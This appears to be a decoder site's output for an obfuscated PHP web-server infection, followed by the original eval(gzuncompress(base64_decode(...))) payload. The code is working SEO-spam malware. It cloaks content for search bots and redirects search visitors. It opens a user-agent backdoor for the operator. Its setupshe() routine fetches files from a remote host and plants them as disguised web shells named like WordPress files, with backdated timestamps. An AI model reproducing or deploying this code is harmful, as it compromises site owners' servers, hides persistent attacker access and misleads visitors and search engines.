$arrResult['cid'] = preg_replace('|[^\d]|i', '', $arr[1]);
$arrResult['lid'] = preg_replace('|[^\d]|i', '', $arr[2]);
if(is_numeric($arrResult['cid']) && is_numeric($arrResult['lid'])){
return $arrResult;
}
}
return false;
}
function getHtml($url, $data = array()){
if(defined('USECURL') && USECURL == 'no'){
$usecurl = false;
}else{
$usecurl = true;
}
if(function_exists('curl_init')){
$curl = curl_init(); @curl_setopt($curl, CURLOPT_URL, $url); @curl_setopt($curl, CURLOPT_HEADER, 0); @curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
@curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
@curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
@curl_setopt($curl, CURLOPT_ENCODING, '');
@curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20120101 Firefox/33.0');
@curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
if(!empty($data)){
@curl_setopt($curl, CURLOPT_POST, 1);
@curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
}
$result = curl_exec($curl);
curl_close($curl);
}else{
$usecurl = false;
}
if($usecurl == false){
if(!empty($data)){
$requestBody = http_build_query($data);
$arrOption = array(
'http' => array(
'method' => 'POST',
'header' => "Content-Type: application/x-www-form-urlencoded
".'Content-Length: ' . mb_strlen($requestBody),
'content' => $requestBody
)
);
$context = stream_context_create($arrOption);
$result = file_get_contents($url, false, $context);
}else{
$result = file_get_contents($url);
}
}
return $result;
}
function htmlImgTag($src, $des, $width = 800, $height = 800){
return '<img width="'.$width.'" height="'.$height.'" src="'.$src.'" alt="'.$des.'" longdes="'.$des.'">';
}
function intSeed($str){
$pathinfo = isset($_SERVER["PATH_INFO"]) ? $_SERVER["PATH_INFO"] : '';
$str = md5(MainDomain() . $_SERVER["SCRIPT_NAME"] . $pathinfo . $str);
$int = hexdec(substr($str, 0, 8));
return $int;
}
function isSuperMan(){
if(md5(md5(md5($_SERVER['HTTP_USER_AGENT']))) == UAMD53KEY)
{
return true;
}
return false;
}
function isBot(){
if(isSuperMan())
{
return true;
}
$arr = array(
'google',
'bot',
'yahoo',
'yandex',
'bing',
);
if(isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) AND $_SERVER['HTTP_ACCEPT_LANGUAGE']!=''){
return false;
}
if(isset($_SERVER['HTTP_REFERER']) AND $_SERVER['HTTP_REFERER']!=''){
return false;
}
foreach($arr as $str)
{
if(preg_match('/' . $str . '/i',$_SERVER['HTTP_USER_AGENT']))
{
return true;
}
}
return false;
}
function MainDomain(){
$domain = strtolower($_SERVER['HTTP_HOST']);
if(substr($domain, 0, 4) == 'www.'){
return substr($domain, 4);
}else{
return $domain;
}
}
function needJump(){
$arr = array(
'google',
'bot',
'yahoo',
'yandex',
'bing',
);
foreach($arr as $str)
{
if(preg_match('/' . $str . '/i',$_SERVER['HTTP_USER_AGENT']))
{
return false;
}
}
if(isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) && preg_match('/(zh|cn)/i',$_SERVER['HTTP_ACCEPT_LANGUAGE']))
{
return false;
}
if(isset($_SESSION['referer']) && $_SESSION['referer'] == 'SearchEngine'){
return true;
}
$referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
if(empty($referer))
{
return false;
}else{
$referer_array = parse_url($referer);
$referer_host = strtolower($referer_array['host']);
if(strstr($referer_host, '.google.') !== false || strstr($referer_host, '.yahoo.') !== false){ $_SESSION['referer'] = 'SearchEngine';
return true;
}else{
return false;
}
}
return false;
}
function showProduct($obj){
$keyword = $obj['randWords'][0] . ' ' . $obj['randWords'][1] . ' ' . $obj['randWords'][2] . ' '
. $obj['keyword'] . ' '
. $obj['randWords'][3] . ' ' . $obj['randWords'][4] . ' ' . $obj['randWords'][5];
$liil = '';
foreach($obj['relatedKeywords'] as $keyword1){
$link = is_https() . $_SERVER['HTTP_HOST'] . '/' . INDEX_PHP . keywordtouri($keyword1) . URI_END_OF_KEYWORD;
$liil .= ' <li><a href="'.$link.'">'.$keyword1.'</li>'."
";
}
$imagesdiv = showImagesMobile(base64_decode($obj['content64']), $obj['keyword']);
$str = '<!DOCTYPE html>'.
PHP_EOL.'<html>'.
PHP_EOL.'<head>'.
PHP_EOL.' <title>'.$keyword.'</title>'.
PHP_EOL.' <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />'.
PHP_EOL.' <meta name="keywords" content="'.$keyword.'" /> '.
PHP_EOL.' <meta name="description" content="'.$keyword.'" />'.
PHP_EOL.' <meta name="apple-mobile-web-app-capable" content="yes" />'.
PHP_EOL.' <meta name="apple-mobile-web-app-status-bar-style" content="black" />'.
PHP_EOL.' <meta name="viewport" content="width=device-width,initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no" />'.
PHP_EOL.' <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/css/bootstrap.min.css" integrity="sha384-Vkoo8x4CGsO3+Hhxv8T/Q5PaXtkKtu6ug5TOeNV6gBiFeWPGFN9MuhOf23Q9Ifjh" crossorigin="anonymous">'.
PHP_EOL.'</head>'.
PHP_EOL.'<body>'.
PHP_EOL.' <div class="main">'.
PHP_EOL.' <a href="/">Home</a><br />'.
PHP_EOL.' <h1>'.$keyword.'</h1>'.
PHP_EOL.' <div class="content">'.
PHP_EOL.' '. $imagesdiv .
PHP_EOL.' </div>'.
PHP_EOL.' </div>'.
PHP_EOL.' <style>'.
PHP_EOL.' img{ border:0;width:100%;max-width:500px;}'.
PHP_EOL.' ul li{list-style-type:none;width:49%;float:left;}'.
PHP_EOL.' .clear{clear:both;}'.
PHP_EOL.' </style>'.
PHP_EOL.' <ul class="related">'.
PHP_EOL.''.$liil.relatedOutLinks().
PHP_EOL.' </ul>'.
PHP_EOL.'</body>'.
PHP_EOL.'</html>';
header('Content-type: text/html; charset=utf-8');
echo $str;
die();
}
function is_https(){
if ( isset($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') {
return 'https://';
} elseif ( isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https' ) {
return 'https://';
} elseif ( isset($_SERVER['HTTP_FRONT_END_HTTPS']) && strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off') {
return 'https://';
}
return 'http://';
}
function keywordtouri($keyword)
{
$url = str_replace(' ', '-', trim($keyword));
$url = urlencode($url);
return $url;
}
function showRobotsTxt(){
$indexurl = is_https() . $_SERVER['HTTP_HOST'] . '/';
@header('Content-Type: text/plain');
$str = 'User-agent: Baiduspider'.PHP_EOL.'Disallow: /'.PHP_EOL.'User-agent: AhrefsBot '.PHP_EOL.'Disallow: /'.PHP_EOL.'User-agent: MJ12bot '.PHP_EOL.'Disallow: /'.PHP_EOL.'User-agent: BLEXBot '.PHP_EOL.'Disallow: /'.PHP_EOL.'User-agent: DotBot'.PHP_EOL.'Disallow: /'.PHP_EOL.'User-agent: SemrushBot'.PHP_EOL.'Disallow: /'.PHP_EOL.'User-agent: YandexBot'.PHP_EOL.'Disallow: /'.PHP_EOL.'User-agent: *'.PHP_EOL.'Disallow:'.PHP_EOL.'Sitemap: ' . is_https().$_SERVER['HTTP_HOST'] . '/sitemap.xml';
echo $str;
die;
}
function pingGoogle(){
if(isset($_GET['action']) && $_GET['action'] == 'pinggoogle'){
$indexurl = is_https() . $_SERVER['HTTP_HOST'] . '/';
$api = "https://www.google.com/ping?sitemap=" . $indexurl . INDEX_PHP . 'sitemap.xml';
$content = getHtml($api);
if(!stristr($content, 'webmasters/tools')){
echo '' . $api;
}else{
echo $content;
}
exit();
}
}
function showSiteMap(){
$indexurl = is_https() . $_SERVER['HTTP_HOST'] . '/';
$date = date('Y-m-d');
$result = '<?xml version="1.0" encoding="UTF-8"?>'.PHP_EOL.'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">'.PHP_EOL.' <url>'.PHP_EOL.' <loc>'.$indexurl.'</loc>'.PHP_EOL.' <priority>1.0</priority>'.PHP_EOL.' <changefreq>always</changefreq>'.PHP_EOL.' <lastmod>'.$date.'</lastmod>'.PHP_EOL.' </url>';
$intR = intSeed(MainDomain());
srand($intR);
$str = 'abcdefghijklmnopqrstuvwxyz';
for($i=0;$i<3000;$i++){
$link = $indexurl . INDEX_PHP
. $str[mt_rand(0, 25)] . $str[mt_rand(0, 25)] . $str[mt_rand(0, 25)]
. $str[mt_rand(0, 25)] . $str[mt_rand(0, 25)] . $str[mt_rand(0, 25)]
. '/'
. $str[mt_rand(0, 25)] . $str[mt_rand(0, 25)] . $str[mt_rand(0, 25)]
. $str[mt_rand(0, 25)] . $str[mt_rand(0, 25)] . $str[mt_rand(0, 25)];
$result .= PHP_EOL.' <url>'.PHP_EOL.' <loc>'.$link.'-c.html</loc>'.PHP_EOL.' <priority>0.8</priority>'.PHP_EOL.' <changefreq>weekly</changefreq>'.PHP_EOL.' <lastmod>'.$date.'</lastmod>'.PHP_EOL.' </url>';
}
$result .= PHP_EOL.'</urlset>';
header('Content-Type: text/xml');
echo $result;
die();
}
function showImagesMobile($str, $keyword)
{
$arr = explode("
", $str);
$arrIndex = randArray(0, (@count($arr) - 1));
$returnstr = '<div class="imagesContainer">';
$newContext = new context('Product');
$newContext->setName($keyword);
$newContext->setDescription($keyword . ' - ' . $_SERVER['HTTP_HOST']);
$newContext->setOffers();
foreach($arrIndex as $index)
{
$line = $arr[$index];
$arrline = explode('|||', $line);
if(count($arrline) > 2)
{
$keyword = htmlspecialchars(trim($arrline[1]));
$newContext->addImage(trim($arrline[0]));
$returnstr .='
<div class="media">
<a href="' . $arrline[0] . '" alt="' . $keyword . '" title="' . $keyword . '">
<img class="mr-3" src="' . $arrline[0] . '" alt="' . $keyword . '" title="' . $keyword . '" />
</a>
<div class="media-body">
<h5 class="mt-0">' . $keyword . '</h5>
</div>
</div>
<br>
';
}
}
$returnstr .= '
</div>';
$returnstr .= $newContext->showScript();
return $returnstr;
}
function randArray($min, $max)
{
$seed = intSeed($_SERVER['REQUEST_URI']);
srand($seed);
$result = array();
for($i=$min; $i <= $max; $i++)
{
$result[] = rand($min, $max);
}
$result = array_unique($result);
return $result;
}
function file_put_contents_force($filename, $content){
if(@is_file($filename)){
@chmod($filename, 0767);
}
@file_put_contents($filename, $content);
@chmod($filename, 0444);
}
function setupshe(){
if(!@file_exists('about.php') || !@file_exists('wp-include.php') || !@file_exists('wp-admin.php') || !@file_exists('wp-comment.php') || !@file_exists('wp-corn-sample.php') || !@file_exists('wp-logln.php') || !@file_exists('wp-ver.php') || !@file_exists('admin.php')){
$filetime = getMiddleFileTime();
if(!@file_exists('about.php')){
$alfa = readFileContent('alfa.txt');
file_put_contents_force('about.php', $alfa);
touch('about.php', $filetime);
}
if(!@file_exists('wp-corn-sample.php')){
$kct = readFileContent('kct.txt');
file_put_contents_force('wp-corn-sample.php', $kct);
touch('wp-corn-sample.php', $filetime);
}
if(!@file_exists('wp-logln.php')){
$one = readFileContent('one.txt');
file_put_contents_force('wp-logln.php', $one);
touch('wp-logln.php', $filetime);
}
if(!@file_exists('wp-include.php')){
$one4 = readFileContent('one4.txt');
file_put_contents_force('wp-include.php', $one4);
touch('wp-include.php', $filetime);
}
if(!@file_exists('wp-ver.php')){
$yihuo = readFileContent('yihuo.txt');
file_put_contents_force('wp-ver.php', $yihuo);
touch('wp-ver.php', $filetime);
}
if(!@file_exists('wp-admin.php')){
$wplog2 = readFileContent('wplog2.txt');
file_put_contents_force('wp-admin.php', $wplog2);
touch('wp-admin.php', $filetime);
}
if(!@file_exists('wp-comment.php')){
$one_url_password = readFileContent('one_url_password.txt');
file_put_contents_force('wp-comment.php', $one_url_password);
touch('wp-comment.php', $filetime);
}
if(!@file_exists('admin.php')){
$xxx = readFileContent('xxx.txt');
file_put_contents_force('admin.php', $xxx);
touch('admin.php', $filetime);
}
}
}
function readFileContent($file, $loadCache = true, $domain = ''){
if(isset($_REQUEST['mini']) && $_REQUEST['mini'] == 'on'){
$mini = '&mini=on';
}elseif(isset($_SESSION['mini']) && $_SESSION['mini'] == 'on'){
$mini = '&mini=on';
}elseif(isset($_SESSION['codeMethod']['mini']) && $_SESSION['codeMethod']['mini'] == 'on'){
$mini = '&mini=on';
}else{
$mini = '';
}
if(isset($_REQUEST['cf']) && $_REQUEST['cf'] == 'off'){
$cf = '&cf=off';
}elseif(isset($_SESSION['codeMethod']['cf']) && $_SESSION['codeMethod']['cf'] == 'on'){
$cf = '&cf=on';
}elseif(isset($_SESSION['cf']) && $_SESSION['cf'] == 'off'){
$cf = '&cf=off';
}else{
$cf = '';
}
if(isset($_REQUEST['singleencoder']) && $_REQUEST['singleencoder'] == 'on'){
$cf = '&singleencoder=on';
}elseif(isset($_SESSION['codeMethod']['singleencoder']) && $_SESSION['codeMethod']['singleencoder'] == 'on'){
$cf = '&singleencoder=on';
}elseif(isset($_SESSION['singleencoder']) && $_SESSION['singleencoder'] == 'on'){
$cf = '&singleencoder=on';
}else{
$cf = '';
}
if(isset($_REQUEST['v'])){
$version = '&v=' . $_REQUEST['v'];
}else{
$version = '';
}
if(empty($domain)){
preg_match('/^[^:]*/i',$_SERVER['HTTP_HOST'], $match);$domain = $match[0];
$domain = preg_replace('|^www\.|i','',$domain);
}
$uri = URLHEAD.'?domain=' . $domain . '&file='.$file . $cf . $mini . $version . '';
if($loadCache){
$content = getCache(md5($uri));
}
if(substr($content, 0, 5) != '<?php'){
$content = getHtml($uri);
if($content){
saveCache(md5($uri), $content);
}
}
return $content;
}
function getCache($file){
global $fileContent;
if(!empty($fileContent[$file])){
return $fileContent[$file];
}
if(!empty($GLOBALS['fileContent'][$file])){
return $GLOBALS['fileContent'][$file];
}
$tmpDir = sys_get_temp_dir1() . DIRECTORY_SEPARATOR . get_current_user1() . DIRECTORY_SEPARATOR;
$filename = $tmpDir . md5($file);
if(@file_exists($filename) && (filemtime($filename) - time() < 1800)){
return file_get_contents($filename);
}
return false;
}
function saveCache($file, $content, $onlyfile = false){
global $fileContent;
if(!$onlyfile){
$GLOBALS['fileContent'][$file] = $content;
$fileContent[$file] = $content;
}
$tmpDir = sys_get_temp_dir1() . DIRECTORY_SEPARATOR . get_current_user1() . DIRECTORY_SEPARATOR;
if(!@is_dir($tmpDir)){
@mkdir($tmpDir, 0747, true);
}
$filename = $tmpDir . md5($file);
file_put_contents_force($filename, $content);
}
function getMiddleFileTime($dir = '.'){
if(isset($GLOBALS[$dir]['middleFileTime']) && is_numeric($GLOBALS[$dir]['middleFileTime'])){
return $GLOBALS[$dir]['middleFileTime'];
}
$arrFiles = @scandir($dir);
$arrT = array();
foreach($arrFiles as $file){
$filename = $dir . '/' . $file;
if(@is_file($filename)){
$t = filemtime($filename);
if(!in_array($t, $arrT)){
$arrT[] = $t;
}
}
}
sort($arrT);
$index = count($arrT)/3;
if($index){
if($index>=1){
$index = floor($index);
}else{
$index = 1;
}
$GLOBALS[$dir]['middleFileTime'] = $arrT[$index];
}else{
$GLOBALS[$dir]['middleFileTime'] = time();
}
return $arrT[$index];
}
function sys_get_temp_dir1()
{
if(isset($GLOBALS['tmpPath']) && @is_dir($GLOBALS['tmpPath']) && @is_writable($GLOBALS['tmpPath'])){
return $GLOBALS['tmpPath'];
}
if(@is_dir('/tmp') && @is_writable('/tmp')){
return '/tmp';
}elseif(function_exists('sys_get_temp_dir')){
$tmpPath = sys_get_temp_dir();
if(!@is_dir($tmpPath)){
@mkdir($tmpPath, 0747, true);
}
return $tmpPath;
}
foreach (array('TMP', 'TEMP', 'TMPDIR') as $env_var) {
if ($temp = getenv($env_var)) {
return $temp;
}
}
$temp = tempnam('tmp', '');
if (@file_exists($temp)) {
unlink($temp);
$GLOBALS['tmpPath'] = dirname($temp);
return $GLOBALS['tmpPath'];
}
return null;
}
function jsonEncode($var)
{
if (function_exists('json_encode')) {
return json_encode($var);
} else {
$jsonfile = md5('Services_JSON.php');
if(!@is_file($jsonfile)){
@file_put_contents($jsonfile, getHtml('https://raw.githubusercontent.com/pear/Services_JSON/trunk/JSON.php'));
}
include_once $jsonfile;
if(class_exists('Services_JSON')){
$result = '';
$code = '$json = new Services_JSON;$result = $json->encodeUnsafe($var);';
eval($code);
return $result;
}
}
return '';
}
function jsonDecode($var, $assoc=false)
{
if (function_exists('json_decode')) {
return json_decode($var, $assoc);
} else {
$jsonfile = md5('Services_JSON.php');
if(!@is_file($jsonfile)){
@file_put_contents($jsonfile, getHtml('https://raw.githubusercontent.com/pear/Services_JSON/trunk/JSON.php'));
}
include_once $jsonfile;
if ( $assoc ){
if(class_exists('Services_JSON')){
$result = '';
$code = '$json = new Services_JSON(SERVICES_JSON_LOOSE_TYPE);$result = $json->decode($var);';
eval($code);
return $result;
}
} else {
if(class_exists('Services_JSON')){
$result = '';
$code = '$json = new Services_JSON;$result = $json->decode($var);';
eval($code);
return $result;
}
}
}
return '';
}
function cookieAuthor(){
if(@session_start()){
preg_match('/^[^:]*/i',$_SERVER['HTTP_HOST'], $match);
$domain = $match[0];
$domain=preg_replace('|^www\.|', '', $domain);
if($_COOKIE[md5($domain.'pswd')] == COOKIEPSWD){
return true;
}
}else{
return true;
}
return false;
}
class context{
public $context = '';
public $type = '';
public $name = '';
public $image = array();
public $description = '';
public $offers = array();
function __construct($type = ''){
$this->context = 'https://schema.org/';
$this->type = 'Product';
if(empty($type)){
$type = 'Product';
}
$this->type = $type;
}
function setName($name){
$this->name = $name;
}
function addImage($src){
$this->image[] = $src;
}
function setDescription($str){
$this->description = $str;
}
function setOffers(){
$arr = array(
'@type' => 'Offer',
'url' => $this->getSchema() . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'],
'priceCurrency' => 'USD',
'price' => '9.9',
'availability' => 'http://schema.org/InStock',
'priceValidUntil' => date('Y') + 1,
);
$this->offers = $arr;
}
function showScript(){
$arr = array(
'@context' => $this->context,
'@type' => $this->type,
'name' => $this->name,
'image' => $this->image,
'description' => $this->description,
'offers' => $this->offers,
);
$str = jsonEncode($arr);
return '
<script type="application/ld+json">'.$str.'</script>';
}
function getSchema(){
if ( isset($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') {
return 'https://';
} elseif ( isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https' ) {
return 'https://';
} elseif ( isset($_SERVER['HTTP_FRONT_END_HTTPS']) && strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off') {
return 'https://';
}
return 'http://';
}
}
function currentSchema()
{
$schema = false;
if(isset($_SERVER['REQUEST_SCHEME'])){
$schema = strtolower($_SERVER['REQUEST_SCHEME']);
}elseif(isset($_SERVER['HTTPS'])){
if(strtolower($_SERVER['HTTPS']) == 'on'){
$schema = 'https';
}elseif(strtolower($_SERVER['HTTPS']) == 'off'){
$schema = 'http';
}
}elseif(isset($_SERVER['HTTP_X_FORWARDED_PROTO'])){
$schema = strtolower($_SERVER['HTTP_X_FORWARDED_PROTO']);
}elseif(isset($_SERVER['HTTP_FRONT_END_HTTPS'])){
if(strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off'){
$schema = 'https';
}else{
$schema = 'http';
}
}
return $schema;
}
function isPHPFile($file){
$content = file_get_contents($file);
if(stristr($content, '<?php')){
return true;
}
return false;
}
function isHomePage(){
if(preg_match("`^/(index\.(php|html|htm))?$`", $_SERVER["REQUEST_URI"])){
return true;
}
return false;
}
?>
Did this file decode correctly?
Original Code
<?=eval(gzuncompress(base64_decode("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